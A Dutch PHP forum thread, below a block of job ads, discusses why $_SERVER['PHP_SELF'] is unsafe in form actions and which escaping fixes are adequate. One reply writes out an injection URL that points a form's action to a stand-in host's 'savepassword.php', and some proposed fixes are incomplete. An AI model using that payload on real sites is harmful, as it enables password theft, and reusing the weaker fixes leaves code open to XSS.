onveilige PHP_SELF vervangen.

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

Cloud Developer

Cloud Developers opgelet! Bij Luminis zijn ze opzoek naar jou. Lees de vacature en solliciteer direct. Luminis is een software- en technologiebedrijf met meerdere vestigingen. Vanuit deze vestigingen werken 200 professionals aan technisch hoogwaardige oplossingen voor klanten zoals KLM, Nike en Bol.com. Ook ontwikkelt Luminis eigen oplossingen op het gebied van cloud, Internet of Things, data intelligence, e-sports en e-learning. Luminis onderscheidt zich door aantoonbaar voorop te lopen in technologie en innovatie. Luminis heeft drie kernpunten die verankerd zitten in alles wat we doen: het omarmen van nieuwe technologie, meesterschap en kennis delen. Functiebeschrijving First things first! Het is belangrijk

Bekijk vacature »

Creatieve Front-end developer gezocht!

Functie Het front-end team bestaat momenteel uit 4 collega’s en is hard aan het groeien! Samen leveren jullie een essentiële bijdrage aan de applicaties die ze voor hun klanten realiseren. Je werkt in het front-end team samen met de back-end teams en product owners om te zorgen dat de applicaties een fijne gebruikerservaring opleveren. Jouw expertise zorgt ervoor dat de juiste keuzes gemaakt worden qua techniek en ontwerp, van back-end tot aan gebruiker. In samenspraak met je team bepalen jullie de beste keuze voor techniek. Ook is er altijd ruimte om nieuwe technieken te ontdekken. Eisen • Je hebt gedegen

Bekijk vacature »

Full Stack Software Developer C#.NET

Functieomschrijving Wij zijn op zoek naar een gepassioneerde Full Stack C#.NET Software Developer. Als Software Developer ben je verantwoordelijk voor het ontwikkelen van webapplicaties, apps en dashboards voor de eigen IOT-oplossingen. Je werkt samen met andere ontwikkelaars en engineers om de sensoren in machines uit te lezen en deze data om te zetten in management informatie voor jullie klanten. Taken en verantwoordelijkheden: Ontwikkelen en onderhouden van webapplicaties, apps en dashboards voor de eigen IOT-oplossingen. Testen en valideren van de ontwikkelde software. Actief deelnemen aan code reviews en bijdragen aan het verbeteren van de kwaliteit van de software. Je gaat aan

Bekijk vacature »

Cobol Developer

Dit ga je doen Als Cobol Ontwikkelaar zal je gaan meebouwen aan een onderdeel van het backend systeem waarbij je het functionele ontwerp vertaald naar een technische oplossing die geïntegreerd kan worden in de huidige omgeving. Je zorgt ervoor dat de bedrijfsprocessen op een efficiënte manier worden uitgevoerd en werkt proactief aan het verbeteren hiervan. Samen met jouw collega’s reviewen jullie elkaars code en test je je eigen code. Je werkt nauw samen met andere ontwikkelaars, testers en functioneel ontwerpers. Taken pakket: Beheren en doorontwikkelen van de bestaande omgeving; Vertalen van een functionele vragen naar een technische oplossing; Doorvoeren van

Bekijk vacature »

Front-end Developer

Onze klant is sinds 2 jaar actief als adviseur en bemiddelaar in de verzekeringsmarkt. Sindsdien proberen zij deze slapende markt flink wakker te schudden. Dit willen zij doen door het bouwen van slimme vergelijkers op hun eigen website en die van partners. Het bedrijf wil continu voorop lopen, zodat consumenten eenvoudig de verzekeringen kunnen vinden die het beste bij ze past. Functieomschrijving Als Front-end Developer werk je aan vergelijkingsmodules die consumenten dagelijks gebruiken bij het vergelijken en afsluiten van verzekeringen. Je vindt het leuk om samen te werken met de product owner, bestaande modules te verbeteren en nieuwe vergelijkers "from

Bekijk vacature »

Database Developer

Functieomschrijving Heb jij ongeveer 3 jaar ervaring als Database Developer met MS SQL of een vergelijkbare database? Wil jij werken voor een ambitieuze werkgever in regio Tilburg waar jij volledig de mogelijkheid krijgt jezelf te ontwikkelen? Lees dan snel verder! Hoe ziet jouw takenpakket eruit? Je gaat projecten gedurende het hele proces begeleiden. Je sluit aan bij afspraken met klanten om hun processen helder te krijgen. Vervolgens voer jij het project uit en zorgt dat dit zo goed mogelijk verloopt; Je werkt aan nieuwe softwareoplossingen die de logistieke processen verbeteren of vernieuwen; Je houdt je bezig met het ontwikkelen van

Bekijk vacature »

.NET Developer Microservices

Dit ga je doen Je taken zullen voornamelijk bestaan uit: Het ontwikkelen van software, inclusief vormgeving, implementaties, integraties en (automatisch) testen (.NET, C#, Azure, Docker, Microservices, Angular); Het in kaart brengen van software requirements; Zorgen dat jouw code kwalitatief hoogstaand is; Het uitvoeren van risico analyses; Een bijdrage leveren aan het continuous quality improvement process. Hier ga je werken Dat kanker een verschrikkelijke ziekte is die de wereld uit geholpen moet worden, is duidelijk. Binnen deze Gelderse organisatie die duizenden ziekenhuizen van producten voorziet, proberen ze daar via technische innovaties aan bij te dragen. Samen met 10 collega .NET developers

Bekijk vacature »

.NET developer

Functie Als junior .NET ontwikkelaar ga jij aan de slag in één van de 5 IT teams van dit bedrijf. Jullie werken op basis van interne klantprojecten aan voornamelijk webapplicaties. Dit betekent dat jij continu uitgedaagd wordt en veelal met verschillende soorten projecten bezig bent. Het gave is dan ook dat jullie als team samen bekijken welke technieken het beste passen bij het project waar jullie verantwoordelijk voor zijn. Zo kan het zijn dat jij als .NET developer gaat werken aan een project, maar dat jullie als team liever gebruik maken van Haskell of F# om de klus te klaren.

Bekijk vacature »

Front End Developer React Vue

Dit ga je doen Meewerken aan de implementaties en ontwikkeling van nieuwe functionaliteiten van de webapplicaties; Ontwikkelen met o.a. React en Vue en HTML/CSS, ook krijg je in verband met de samenwerking ook affiniteit met de backend Ruby on Rails; Ontwikkeling aan de front end voor de koppelingen tussen de diverse systemen; Ontwerpen van interfaces en een bijdrage leveren aan de gebruikerservaring; Zorgdragen voor hoge kwaliteit van code en jezelf (en anderen) blijven verbeteren; Als Senior Front End Developer begeleid je zelf ook FE-development projecten, hierin leid je de projecten en pak jij het initiatief op (bv integratieprojecten). Hier ga

Bekijk vacature »

Software Developer C# .NET

Functie omschrijving Software Developer C# .NET gezocht voor een dynamische organisatie! Ben jij net afgestudeerd of toe aan een volgende stap in je maatschappelijke carrière? Lees dan snel verder! Wij zijn op zoek naar een Software Developer die klaar is voor een nieuwe uitdaging en die een organisatie in de regio Houten wil versterken. Je werkt in deze functie aan verschillende projecten en gaat vaak op bezoek bij klanten. In deze functie kun je een grote mate van uitdaging, diversiteit en verantwoordelijkheid verwachten. Bedrijfsprofiel Waar kom je te werken? Je komt te werken bij een organisatie dat gespecialiseerd is in

Bekijk vacature »

Junior .NET developer

Functie Wij zijn bezig met het ontwikkelen van een nieuw product en wij hebben jouw hulp hierbij nodig! Als junior .NET ontwikkelaar krijg jij de kans om samen met ons deze nieuwe uitdaging aan te gaan! Momenteel bestaat ons team uit drie interim Software Engineers. Twee hiervan zijn zeer ervaren .NET specialisten die inmiddels hun strepen in dit vakgebied al hebben behaald. Ook hebben wij een junior als onderdeel van ons team die zich op dit moment nog bezig houdt met de Front-end (Angular/TypeScript), maar zich nu ook meer gaat verdiepen in de backend. Wij willen ons team graag verder

Bekijk vacature »

Junior .NET Developer

Dit ga je doen Ontwikkelprocessen verder optimaliseren en verder ontwikkelen met C#; CI/CD-pipelines automatiseren; Ontwikkelen van herbruikbare componenten; Front-end pagina's gebruiksvriendelijk maken. Hier ga je werken Als junior .NET Developer kom je terecht binnen een grote en internationale organisatie. Zij streven naar een positieve impact op de mens, milieu en maatschappij. Het bedrijf is oorspronkelijk een familiebedrijf en werkt aan de productie van hoogwaardige en technische systemen voor de gezondheidszorg. Momenteel willen zij betere ontwikkelprocessen creëren op internationaal gebied en staat kwaliteit en veiligheid voor hun op nummer 1! Als junior .NET Developer werk je aan het ontwikkelen van verbeterde

Bekijk vacature »

Full stack Developer / .NET / Angular / Azure

Dit ga je doen Jij gaat je als Full Stack .NET Developer voornamelijk bezighouden met: Het vertalen van concepten naar passende innovatieve en duurzame oplossingen; Het ontwikkelen van bedrijf kritische en gebruiksvriendelijke applicaties voor de internationale markt en intern gebruik; Bouwen aan software om het Internet of Things netwerk te ondersteunen; Het maken en onderhouden van interfaces tussen systemen aan de hand van API's; Het onderhouden en blijven verbeteren van de ontwikkelde software. Hier ga je werken Binnen deze organisatie zal jij als Full Stack .NET Developer een belangrijke rol krijgen en ga je dagelijks de uitdaging aan om maatwerk

Bekijk vacature »

Junior/medior PHP developer Onderwijssector

Functie Momenteel zijn ze op zoek naar een developer die, veelal fullstack, mee gaat werken aan de ontwikkeling van de producten en zo helpt aan de uitvoering van hun ontwikkelprojecten. Je komt te werken binnen hun development team bestaande uit 6 ontwikkelaars. Ze staan zowel open voor meer junior als medior/senior developers. Je kunt snel veel verantwoordelijkheid krijgen en doorgroeien binnen het bedrijf. Bovendien ben je betrokken bij het bepalen van de product roadmap en de inbreng van (nieuwe) technologieën. De applicaties waaraan je werk worden gebruikt op onderwijsinstellingen door heel Nederland. De tech-stack bestaat voornamelijk uit Laravel (PHP), Vue.js

Bekijk vacature »

Medior/senior front end developer

Functie Vanwege de groei binnen het bedrijf zijn we op zoek naar versterking in het development team. Als back-end developer bouw je aan de bedrijfssoftware die ons helpt bij de primaire processen. Een leuk (intern) project dus waarbij je de software continu doorontwikkeld! Je werkt in een klein team, we hebben dagelijks stand-ups en iedere twee weken een scrum-sessie, begeleid door onze Scrum Master. Hierin krijg je uitgebreid de kans om je ideeën te presenteren, en te overleggen met je mede-ontwikkelaars en de Product Owner. Binnen de ontwikkelteams gebruiken we Trello, Gitlab, Jiira, Confluence en Boockstack. Hiernaast werken ze met

Bekijk vacature »
Mark L

Mark L

03/07/2010 13:11:56
Quote Anchor link
Ik weet ondertussen al een tijd dat de $_SERVER['PHP_SELF'] variabele niet te vertrouwen is. (aangezien deze XSS kan bevatten)
Nu wil ik dus op een andere manier erachter komen op welke pagina ik nu zit. Ik hoorde dat __FILE__ hierbij de oplossing was, tot ik erachter kwam dat dit niet lekker werkt bij een include (omdat hij dat de file van de include pakt en niet van de relatieve pagina).

Hoe kom ik - op een veilige manier - achter de huidige pagina? (Graag zonder elke pagina te beginnen met $curPage = 'pagina.php';)

Via google kwam ik op topics waar mensen zeiden dat ze $_SERVER['SCRIPT_NAME'] gebruikten, maar is deze dan wel veilig?

Gr,
Mark
 
PHP hulp

PHP hulp

26/04/2024 00:01:57
 
Mark L

Mark L

04/07/2010 14:41:11
Quote Anchor link
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
    Bump(true);
?>
 
Erwin Geen

Erwin Geen

04/07/2010 17:27:30
Quote Anchor link
Kan je niet een variabele of constant maken van die __FILE__?
Maar ik las net dat SCRIPT_NAME wel veilig is. (link)
Gewijzigd op 04/07/2010 17:36:37 door Erwin Geen
 
Jelmer -

Jelmer -

04/07/2010 17:54:33
Quote Anchor link
Weet je waarom $_SERVER['PHP_SELF'] niet veilig is? Als je dat weet, kan je andere variabelen in $_SERVER proberen, zoals bijvoorbeeld SCRIPT_NAME, om te kijken of die diezelfde lekken vertonen.

Hint: PHP_SELF bevat de URL zoals je hem aanroept. Dus wanneer je een quote in je url zet, komt die ook in PHP_SELF. Als je dan bijv. <form action="{$PHP_SELF}"> neer zou zetten, en je roept de pagina aan als test.php?%22+action%3D%22http%3A%2F%2Fwww.bad.com%2Fsavepassword.php dan verwijst het formulier plots naar een andere site.
 
Mark L

Mark L

04/07/2010 18:44:09
Quote Anchor link
PATH_INFO word - als dit aanstaat op de server - meegestuurd in de variabele. Dit is daardoor van buitenaf beïnvloedbaar en XSS gevaren met zich mee.
Her fijne weet ik er eerlijk gezegd niet van, zou ik me inderdaad nog eens in moeten verdiepen.
 
Jannick Bolten

Jannick Bolten

04/07/2010 21:19:23
Quote Anchor link
Wat ik persoonlijk gebruik, is het volgende:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
echo basename($_SERVER['PHP_SELF']);
?>

Volgens mij pakt ie dan (in het voorbeeld van Jelmer) ook écht het eigen bestandsnaam.

Zie bijv. de volgende link:
Test
Code:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
echo basename($_SERVER['PHP_SELF']);
?>

Werkt dus best goed, voor zover ik weet.
Gewijzigd op 04/07/2010 21:23:08 door Jannick Bolten
 
Jelmer -

Jelmer -

04/07/2010 21:32:03
 
Jannick Bolten

Jannick Bolten

04/07/2010 21:49:12
Quote Anchor link
Hmm, OK, you've got me. Ik had vroeger een ander stukje, maar die ben ik helaas kwijt. Dan is inderdaad SCRIPT_NAME nog het beste. Maar ja, zoals al bekend is, niets is veilig genoeg.
 
Martijn B

Martijn B

04/07/2010 22:13:10
Quote Anchor link
Volgens mij is dit veilig:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
$_SERVER
['PHP_SELF'] = str_replace(array('<', '>', '"'), array('%3C', '%3E', '&quot;'), $_SERVER['PHP_SELF']);
?>


Ja je kunt quotes in de URL hebben, maar er wordt dan nog geen code uitgevoerd door je browser.

Edit:

De quote heb ik er nu ook bij gezet. Dankzij Jelmer rrrr.
Gewijzigd op 04/07/2010 22:39:42 door Martijn B
 
Jelmer -

Jelmer -

04/07/2010 22:28:22
Quote Anchor link
Quotes in $PHP_SELF, en een form-element waar hij wordt gebruikt is genoeg om code uit te voeren op zich. onmouseover is goed genoeg om Javascript uit te voeren, redelijke kans dat iemand met z'n muis over een form-elementje gaat. Maar htmlspecialchars of htmlentities biedt voldoende beveiliging.
 
Niels K

Niels K

05/07/2010 09:32:40
Quote Anchor link
dit is als het goed is voldoende, zoals jelmer aangeeft

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
<?php

htmlspecialchars( basename( $_SERVER['PHP_SELF'] ) );

?>
 
P Lekensteyn

P Lekensteyn

05/07/2010 16:55:54
Quote Anchor link
Waarom dan nog basename?
Basename sowieso niet gebruiken zonder vorm van validatie als het van de bezoeker komt.

basename('/een/pad/naar/..') -> ..
dirname('/een/pad/naar/../raar') -> ..
Gebruik dan realpath() of een functie die //, /./ en /../ weghaalt.

dit is prima: htmlentities($_SERVER['PHP_SELF'])

Of je doet gewoon: <form action="denaamvanhetphpbestand.php">
 



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.